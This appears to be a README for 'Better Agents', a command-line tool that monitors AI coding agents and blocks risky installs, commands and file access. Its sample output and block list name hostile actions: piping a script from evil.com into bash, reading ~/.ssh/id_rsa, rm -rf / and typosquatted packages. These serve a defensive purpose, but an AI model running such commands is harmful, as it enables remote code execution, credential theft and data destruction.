Better Agents

Run AI agents safely. See and control what they install, run, and modify.

If agents could talk, they'd ask you for this

The Problem

AI agents run shell commands, install packages, and read files on your machine. You're trusting them with everything.

An agent could install a typosquatted package. Pipe a remote script to bash. Read your SSH keys. Delete your filesystem. It's not hypothetical, it's one hallucinated package name away.

What Better Agents Does

Wrap any agent command with ba run. Better Agents watches what happens and blocks the dangerous stuff.

• Blocks suspicious packages — typosquat detection against 2000+ popular packages (auto-synced from npm/PyPI)
• Blocks dangerous commands — rm -rf /, sudo, curl | bash, force pushes
• Blocks secret access — ~/.ssh, ~/.aws, .env, npm/PyPI tokens
• Logs everything — full session trace with timestamps

$ ba run cursor-agent build-feature

  ✓ ALLOW   npm install express
  ⚠ WARN    npm install expresss
             Looks like a typosquat of "express". Did you mean "express"?
  ✗ BLOCK   cat ~/.ssh/id_rsa
             Blocked access to sensitive path: ~/.ssh
  ⚠ WARN    curl https://evil.com/setup.sh | bash
             Piping remote content to a shell interpreter

  Blocked: 1  Warned: 2  Allowed: 1

Install

npm install -g @betteragents/cli

Usage

# Wrap any command
ba run cursor-agent
ba run npm run my-agent
ba run python agent.py

# Or run as a background daemon — protects every terminal
ba daemon start --intercept --proxy --dns
eval "$(cat ~/.betteragents/env.sh)"

# Sync popular package lists from npm/PyPI
ba update

# Check your setup
ba doctor

# View your policy
ba policy

# Replay a session
ba replay .betteragents-sessions/ag-xxx.json

Configure

Create a .betteragents.json in your project:

ba policy --init

{
  "mode": "warn",
  "blockedPackages": ["evil-package"],
  "allowedPackages": ["lodash", "express"],
  "sensitivePaths": ["~/custom-secrets"],
  "allowedDomains": ["api.openai.com", "registry.npmjs.org"]
}

Deeper Protection

By default, Better Agents scans agent output. For deeper coverage, add flags:

# Intercept every command at the PATH level
ba run --intercept cursor-agent

# Monitor all outbound network requests + browser traffic
ba run --proxy cursor-agent

# Monitor all DNS queries (catches websockets, raw TCP, etc.)
ba run --dns cursor-agent

# Kernel-level file access enforcement (macOS) / syscall monitoring (Linux)
ba run --sandbox cursor-agent

# Run inside Docker with full protection
ba docker --intercept --proxy node:20 npm run agent-task

# All layers combined
ba run --intercept --proxy --dns --sandbox cursor-agent

# Background daemon with live dashboard
ba daemon start --intercept --proxy --dns
ba daemon status
ba daemon stop

| Layer | What it catches | Blocks? | |-------|----------------|---------| | Default | Commands agents print to stdout | No | | --intercept | Every command going through PATH and browser traffic | Yes | | --proxy | HTTP/HTTPS requests | Yes | | --dns | All DNS lookups (websockets, raw TCP, any protocol) | Yes | | --sandbox | File opens, exec calls, connections at the kernel level | macOS: yes | | ba docker | Everything above, inside Docker containers | Yes | | ba daemon | Persistent background protection and live dashboard | Yes |

CI Mode

ba run --non-interactive --fail-on-warn npm run agent-task

Interactive Approval

When something looks wrong, BetterAgents asks:

  ⚠ WARN   Package "lodasg" looks suspicious
  Fix: Did you mean "lodash"?

    [a] Allow once
    [A] Allow always (this session)
    [b] Block
    [r] View reason

Documentation

See docs/detailed.md for the full reference, architecture, all config options, how each layer works, platform support, and limitations.

License

FSL-1.1-MIT